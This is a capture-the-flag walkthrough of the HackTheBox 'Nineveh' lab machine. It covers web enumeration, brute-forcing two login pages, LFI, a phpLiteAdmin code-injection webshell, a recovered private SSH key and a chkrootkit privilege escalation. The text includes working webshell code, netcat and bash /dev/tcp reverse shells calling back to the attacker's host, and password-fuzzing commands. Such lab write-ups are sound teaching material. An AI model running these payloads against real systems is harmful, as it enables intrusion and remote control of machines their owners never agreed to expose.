A medium Linux box from HackTheBox, get initial access by abusing an RFI, then escalate by exploiting chkrootkit to execute a script as root and send us a reverse shell.

Recon

Run the usual nmap

sudo nmap -sC -sV -Pn -oA nmap/init 10.10.10.43
PORT    STATE SERVICE  VERSION
80/tcp  open  http     Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.18 (Ubuntu)
443/tcp open  ssl/http Apache httpd 2.4.18 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
| ssl-cert: Subject: commonName=nineveh.htb/organizationName=HackTheBox Ltd/stateOrProvinceName=Athens/countryName=GR
| Not valid before: 2017-07-01T15:03:30
|_Not valid after:  2018-07-01T15:03:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
|_http-server-header: Apache/2.4.18 (Ubuntu)

Then run a gobuster in the background while I check out the site

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40 --url http://10.10.10.43 -k -x php

Seems like there are different pages on the http and https addresses

On port 80 there is a default “It works!” page

Then on 443 there is an image

The http gobuster returns

/info.php             (Status: 200) [Size: 83694]
/server-status        (Status: 403) [Size: 299]  
/department           (Status: 301) [Size: 315][--> http://10.10.10.43/department/]

And also start a gobuster for the https site

gobuster dir -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 40 --url https://10.10.10.43 -k -x php

And find a /db/ endpoint

/db                   (Status: 301) [Size: 309] [--> https://10.10.10.43/db/]

As it stands, have “two” sites

HTTP

  • /department/ HTTPS
  • /db/

Starting with HTTP, got to 10.10.10.43/department/ and get greeted by what looks like a custom login page

Try a couple default credentials, admin:admin, root:root, etc

See that we can enumerate real users as the site returns different messages for incorrect username vs incorrect password

When trying the “admin” user

When trying the “root” user

Since we know the admin user exists, can try to bruteforce their password

Exploitation

Knowing that the username is admin, set up a bruteforce attack on the login page

fuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -d "username=admin&password=FUZZ" --hh 1639  -H "Cookie: PHPSESSID=rjkbsd18pqtjkv6pk9dfr1rkh7" -u http://10.10.10.43/department/login.php
Target: http://10.10.10.43/department/login.php
Total requests: 14344392

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                            
=====================================================================

000004552:   302        59 L     113 W      1706 Ch     "1q2w3e4r5t"    

And guess the password to be “1q2w3e4r5t”

On login, are greeted with a “notes” page

This URL includes the path to the file directly, so might be vulnerable to LFI, trying some different methods, eventually get LFI with

http://10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../etc/passwd

Fishing for some apache log files in /var/log/apache2, get a permission denied error returned, so can’t do log poisoning and need to find another way of getting a file on the victim

Looking to the HTTPS site on https://10.10.10.43/db/, see a phpLiteAdmin login screen

Using searchsploit, see that there is a possibility of creating a database file if we are logged in, potentially making our LFI useful

So, boot up wfuzz again to brute this password

wfuzz -c -w /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt -d "password=FUZZ&remember=yes&login=Log+In&proc_login=true"  -H "Cookie: PHPSESSID=rjkbsd18pqtjkv6pk9dfr1rkh7" -u https://10.10.10.43/db/index.php -t 20 --hh 11352
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: https://10.10.10.43/db/index.php
Total requests: 14344392

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                            
=====================================================================

000000289:   200        483 L    958 W      11351 Ch    "adidas"                                           
000000527:   200        483 L    958 W      11351 Ch    "soccer1"                                          
000001082:   200        483 L    958 W      11351 Ch    "amormio"                                          
000001115:   200        483 L    958 W      11351 Ch    "taylor1"                                          
000001384:   200        483 L    1112 W     13948 Ch    "password123"

And get a correct password of “password123”

On login, follow the exploit I found with

searchsploit phpLite

PHPLiteAdmin 1.9.3 - Remote PHP Code Injection | php/webapps/24044.txt
searchsploit -m php/webapps/24044.txt && cat 24044.txt

Description:

phpliteadmin.php#1784: 'Creating a New Database' =>
phpliteadmin.php#1785: 'When you create a new database, the name you entered will be appended with the appropriate file extension (.db, .db3, .sqlite, etc.) if you do not include it yourself. The database will be created in the directory you specified as the $directory variable.',

An Attacker can create a sqlite Database with a php extension and insert PHP Code as text fields. When done the Attacker can execute it simply by access the database file with the Webbrowser.

Proof of Concept:

1. We create a db named "hack.php".
(Depending on Server configuration sometimes it will not work and the name for the db will be "hack.sqlite". Then simply try to rename the database / existing database to "hack.php".)
The script will store the sqlite database in the same directory as phpliteadmin.php.
Preview: http://goo.gl/B5n9O
Hex preview: http://goo.gl/lJ5iQ

2. Now create a new table in this database and insert a text field with the default value:
<?php phpinfo()?>
Hex preview: http://goo.gl/v7USQ

3. Now we run hack.php

The exploit consists of creating a database with the .php extension, I chose shell.php

Then adding a table to it with the php you want to execute, in my case a webshell

The webshell being the regular one-liner

<?php system($_REQUEST["cmd"]); ?>

Then hitting create, and noting the location of the file, /var/tmp/shell.php

Now back to the custom site where we have LFI, can navigate to this webshell by going to the URL

http://10.10.10.43/department/manage.php?notes=files/ninevehNotes/../../../../../../var/tmp/shell.php&cmd=id

And see the “id” command execute

Now, upgrade to a reverse shell with the encoded payload

kali> urlencode "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc KALI_IP 4444 >/tmp/f"

rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%2010.10.14.5%204444%20%3E%2Ftmp%2Ff

Start a listener on 4444 and send the payload to catch the shell

connect to [10.10.14.5] from (UNKNOWN) [10.10.10.43] 58736
/bin/sh: 0: can't access tty; job control turned off
whoami
www-data
$ 

Now upgrade to a fully interactive tty

$ python3 -c 'import pty;pty.spawn("/bin/bash")'

www-data@nineveh:/var/www/html/department$ export TERM=xterm

CTRL+Z

kali> stty raw -echo; fg

Now can start enumerating under the www-data user

Transferring and running linpeas.sh, note the active ports, port 22 wasn’t listed as being open on the initial nmap scan, yet the box is listening on it

╔══════════╣ Active Ports
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#open-ports                                                                                                                                                               
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                                                                                                                                                           
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -               
tcp        0      0 0.0.0.0:443             0.0.0.0:*               LISTEN      -               
tcp6       0      0 :::22                   :::*                    LISTEN      -   

And there is an SSH key in an image? Maybe potential steg

══╣ Possible private SSH keys were found!
/var/www/ssl/secure_notes/nineveh.png

There is also a knockd file present, maybe some kind of port knocking?

╔══════════╣ Analyzing Knockd Files (limit 70)
-rwxr-xr-x 1 root root 1572 Mar 25  2009 /etc/init.d/knockd                                                                                                                                                                                 
#! /bin/sh
### BEGIN INIT INFO
# Provides:          knockd
# Required-Start:    $network $syslog
# Required-Stop:     $network $syslog
# Default-Start:     2 3 4 5
# Default-Stop:      0 1 6
# Short-Description: port-knock daemon
### END INIT INFO
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
DAEMON=/usr/sbin/knockd
NAME=knockd
PIDFILE=/var/run/$NAME.pid
DEFAULTS_FILE=/etc/default/knockd
DESC="Port-knock daemon"
OPTIONS=" -d"
umask 0037
test -f $DAEMON || exit 0
set -e
[ -f $DEFAULTS_FILE ] && . $DEFAULTS_FILE
. /lib/lsb/init-functions
[ "$KNOCKD_OPTS" ] && OPTIONS="$OPTIONS $KNOCKD_OPTS"
start_if_configured() {
        if [ $START_KNOCKD -ne 1 ]; then
                log_warning_msg "$NAME disabled: not starting. To enable it edit $DEFAULTS_FILE"
                exit 0
        else
                log_daemon_msg "Starting $DESC" "$NAME"
                if ! START_ERROR=`start-stop-daemon --start --oknodo --quiet --exec $DAEMON -- $OPTIONS 2>&1`; then
                        # don't fail the upgrade if it fails to start
                        echo -n " "
                        log_action_end_msg 1 "$START_ERROR"
                        exit 0
                else
                        log_end_msg 0
                fi
        fi
}
case "$1" in
  start)
        start_if_configured
        ;;
  stop)
        log_daemon_msg "Stopping $DESC" "$NAME"
        start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
        log_end_msg 0
        ;;
  restart|reload|force-reload)
        log_daemon_msg "Stopping $DESC" "$NAME"
        start-stop-daemon --stop --oknodo --quiet --exec $DAEMON
        log_end_msg 0
        sleep 1
        start_if_configured
        ;;
  *)
        log_warning_msg "Usage: $0 {start|stop|restart|reload|force-reload}" >&2
        exit 1
        ;;
esac
exit 0

Looking at the detected SSH key first, copy the /var/www/ssl/secure_notes/nineveh.png to the local kali machine, then just cat it to see what the linpeas found, and at the end find an SSH key in plaintext

-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAri9EUD7bwqbmEsEpIeTr2KGP/wk8YAR0Z4mmvHNJ3UfsAhpI
H9/Bz1abFbrt16vH6/jd8m0urg/Em7d/FJncpPiIH81JbJ0pyTBvIAGNK7PhaQXU
PdT9y0xEEH0apbJkuknP4FH5Zrq0nhoDTa2WxXDcSS1ndt/M8r+eTHx1bVznlBG5
FQq1/wmB65c8bds5tETlacr/15Ofv1A2j+vIdggxNgm8A34xZiP/WV7+7mhgvcnI
3oqwvxCI+VGhQZhoV9Pdj4+D4l023Ub9KyGm40tinCXePsMdY4KOLTR/z+oj4sQT
X+/1/xcl61LADcYk0Sw42bOb+yBEyc1TTq1NEQIDAQABAoIBAFvDbvvPgbr0bjTn
KiI/FbjUtKWpWfNDpYd+TybsnbdD0qPw8JpKKTJv79fs2KxMRVCdlV/IAVWV3QAk
FYDm5gTLIfuPDOV5jq/9Ii38Y0DozRGlDoFcmi/mB92f6s/sQYCarjcBOKDUL58z
GRZtIwb1RDgRAXbwxGoGZQDqeHqaHciGFOugKQJmupo5hXOkfMg/G+Ic0Ij45uoR
JZecF3lx0kx0Ay85DcBkoYRiyn+nNgr/APJBXe9Ibkq4j0lj29V5dT/HSoF17VWo
9odiTBWwwzPVv0i/JEGc6sXUD0mXevoQIA9SkZ2OJXO8JoaQcRz628dOdukG6Utu
Bato3bkCgYEA5w2Hfp2Ayol24bDejSDj1Rjk6REn5D8TuELQ0cffPujZ4szXW5Kb
ujOUscFgZf2P+70UnaceCCAPNYmsaSVSCM0KCJQt5klY2DLWNUaCU3OEpREIWkyl
1tXMOZ/T5fV8RQAZrj1BMxl+/UiV0IIbgF07sPqSA/uNXwx2cLCkhucCgYEAwP3b
vCMuW7qAc9K1Amz3+6dfa9bngtMjpr+wb+IP5UKMuh1mwcHWKjFIF8zI8CY0Iakx
DdhOa4x+0MQEtKXtgaADuHh+NGCltTLLckfEAMNGQHfBgWgBRS8EjXJ4e55hFV89
P+6+1FXXA1r/Dt/zIYN3Vtgo28mNNyK7rCr/pUcCgYEAgHMDCp7hRLfbQWkksGzC
fGuUhwWkmb1/ZwauNJHbSIwG5ZFfgGcm8ANQ/Ok2gDzQ2PCrD2Iizf2UtvzMvr+i
tYXXuCE4yzenjrnkYEXMmjw0V9f6PskxwRemq7pxAPzSk0GVBUrEfnYEJSc/MmXC
iEBMuPz0RAaK93ZkOg3Zya0CgYBYbPhdP5FiHhX0+7pMHjmRaKLj+lehLbTMFlB1
MxMtbEymigonBPVn56Ssovv+bMK+GZOMUGu+A2WnqeiuDMjB99s8jpjkztOeLmPh
PNilsNNjfnt/G3RZiq1/Uc+6dFrvO/AIdw+goqQduXfcDOiNlnr7o5c0/Shi9tse
i6UOyQKBgCgvck5Z1iLrY1qO5iZ3uVr4pqXHyG8ThrsTffkSVrBKHTmsXgtRhHoc
il6RYzQV/2ULgUBfAwdZDNtGxbu5oIUB938TCaLsHFDK6mSTbvB/DywYYScAWwF7
fw4LVXdQMjNJC3sn3JaqY1zJkE4jXlZeNQvCx4ZadtdJD9iO+EUG
-----END RSA PRIVATE KEY-----

Bit of a weak steg attempt but whatever :)

Now its pretty clear that we need to use port knocking to open port 22 and connect via SSH

Can also guess the user, based on the contents of /etc/passwd - its likely “amrois”, the only user with a home directory

...

amrois:x:1000:1000:,,,:/home/amrois:/bin/bash

...
www-data@nineveh:/tmp$ ls /home
amrois
www-data@nineveh:/tmp$

Before trying to do port knocking, I just uploaded the SSH key to the /tmp directory, and tried to SSH in from localhost and it worked! (Dont forget to “chmod 600 ssh_key” before connecting)

www-data@nineveh:/tmp$ ssh -i ssh_key amrois@127.0.0.1

Could not create directory '/var/www/.ssh'.
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.
ECDSA key fingerprint is SHA256:aWXPsULnr55BcRUl/zX0n4gfJy5fg29KkuvnADFyMvk.
Are you sure you want to continue connecting (yes/no)? yes
yes
Failed to add the host to the list of known hosts (/var/www/.ssh/known_hosts).
Ubuntu 16.04.2 LTS
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-62-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

287 packages can be updated.
206 updates are security updates.


You have mail.
Last login: Mon Jul  3 00:19:59 2017 from 192.168.0.14
amrois@nineveh:~$ whoami
amrois
amrois@nineveh:~$

Now can start enumerating the box as this user, after running linpeas again, it shows a curious /report directory and a /usr/sbin/report-reset.sh script

amrois@nineveh:/report$ crontab -l
crontab -l
# Edit this file to introduce tasks to be run by cron.
# 
# Each task to run has to be defined through a single line
# indicating with different fields when the task will be run
# and what command to run for the task
# 
# To define the time you can provide concrete values for
# minute (m), hour (h), day of month (dom), month (mon),
# and day of week (dow) or use '*' in these fields (for 'any').# 
# Notice that tasks will be started based on the cron's system
# daemon's notion of time and timezones.
# 
# Output of the crontab jobs (including errors) is sent through
# email to the user the crontab file belongs to (unless redirected).
# 
# For example, you can run a backup of all your user accounts
# at 5 a.m every week with:
# 0 5 * * 1 tar -zcf /var/backups/home.tgz /home/
# 
# For more information see the manual pages of crontab(5) and cron(8)
# 
# m h  dom mon dow   command
*/10 * * * * /usr/sbin/report-reset.sh

Cat the script, and it just removes some files with no special permissions


amrois@nineveh:/report$ ls -la /usr/sbin/report-reset.sh
ls -la /usr/sbin/report-reset.sh
-rwxr-x--- 1 amrois amrois 34 Jul  2  2017 /usr/sbin/report-reset.sh

amrois@nineveh:/report$ cat /usr/sbin/report-reset.sh
#!/bin/bash

rm -rf /report/*.txt

Since this removes reports, what’s generating them?

To check what is being run over time, can use pspy, transfer the release binaries to the machine, and run it

amrois@nineveh:/tmp$ ./pspy

2022/09/21 14:00:03 CMD: UID=0    PID=25536  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25542  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25545  | grep -E c 
2022/09/21 14:00:03 CMD: UID=0    PID=25544  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25543  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25550  | grep -E c 
2022/09/21 14:00:03 CMD: UID=0    PID=25549  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25548  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25552  | /usr/bin/find /tmp /var/tmp -name *.php 
2022/09/21 14:00:03 CMD: UID=0    PID=25558  | grep -E #!.*php 
2022/09/21 14:00:03 CMD: UID=0    PID=25557  | /usr/bin/find /tmp /var/tmp -type f -exec head -n 1 {} ; 
2022/09/21 14:00:03 CMD: UID=0    PID=25556  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25564  | /usr/bin/find /tmp /var/tmp -type f -exec head -n 1 {} ; 
2022/09/21 14:00:03 CMD: UID=0    PID=25567  | head -n 1 /var/tmp/test 
2022/09/21 14:00:03 CMD: UID=0    PID=25570  | grep -E c 
2022/09/21 14:00:03 CMD: UID=0    PID=25569  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25568  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25573  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25575  | grep -E (^|[^A-Za-z0-9_])asp([^A-Za-z0-9_]|$) 
2022/09/21 14:00:03 CMD: UID=0    PID=25574  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25579  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25583  | grep -E (^|[^A-Za-z0-9_])bindshell([^A-Za-z0-9_]|$) 
2022/09/21 14:00:03 CMD: UID=0    PID=25582  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25590  | /bin/sed s/|/ /g 
2022/09/21 14:00:03 CMD: UID=0    PID=25589  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25588  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25593  | grep -E [.:]114[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25592  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25591  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25596  | grep -E [.:]145[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25595  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25594  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25602  | /bin/sh /bin/egrep [.:]511[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25601  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25600  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25605  | grep -E [.:]600[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25604  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25603  | /bin/netstat -an 
2022/09/21 14:00:03 CMD: UID=0    PID=25608  | grep -E [.:]1008[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25607  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25606  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25611  | grep -E [.:]1524[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25610  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25609  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25614  | grep -E [.:]1999[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25613  | grep -E ^tcp.*LIST|^udp 
2022/09/21 14:00:03 CMD: UID=0    PID=25612  | 
2022/09/21 14:00:03 CMD: UID=0    PID=25620  | /bin/sh /bin/egrep [.:]2881[^0-9.:] 
2022/09/21 14:00:03 CMD: UID=0    PID=25619  | /bin/sh /usr/bin/chkrootkit 
2022/09/21 14:00:03 CMD: UID=0    PID=25618  | /bin/sh /usr/bin/chkrootkit 

And see a bunch of chkrootkit commands running, a binary that checks for rootkits on the local system

Checking for any exploits with it

kali> searchsploit chkrootkit

---------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                        |  Path

Chkrootkit - Local Privilege Escalation (Metasploit)  | linux/local/38775.rb
Chkrootkit 0.49 - Local Privilege Escalation          | linux/local/33899.txt

Looking at the exploit

searchsploit -x linux/local/33899.txt

...

Steps to reproduce:

- Put an executable file named 'update' with non-root owner in /tmp (not
mounted noexec, obviously)
- Run chkrootkit (as uid 0)

Result: The file /tmp/update will be executed as root, thus effectively
rooting your box, if malicious content is placed inside the file.

...

So lets do just that, make an executable bash script that sends a reverse shell back to the kali machine named “update” and place it in /tmp

#!/bin/bash

bash -i >& /dev/tcp/KALI_IP/8080 0>&1

Start a listener on 8080, then change permissions to executable on the update file

amrois@nineveh:/tmp$ chmod +x update

And get root!

connect to [10.10.14.5] from (UNKNOWN) [10.10.10.43] 50756
bash: cannot set terminal process group (5964): Inappropriate ioctl for device
bash: no job control in this shell
root@nineveh:~# whoami
root
root@nineveh:~#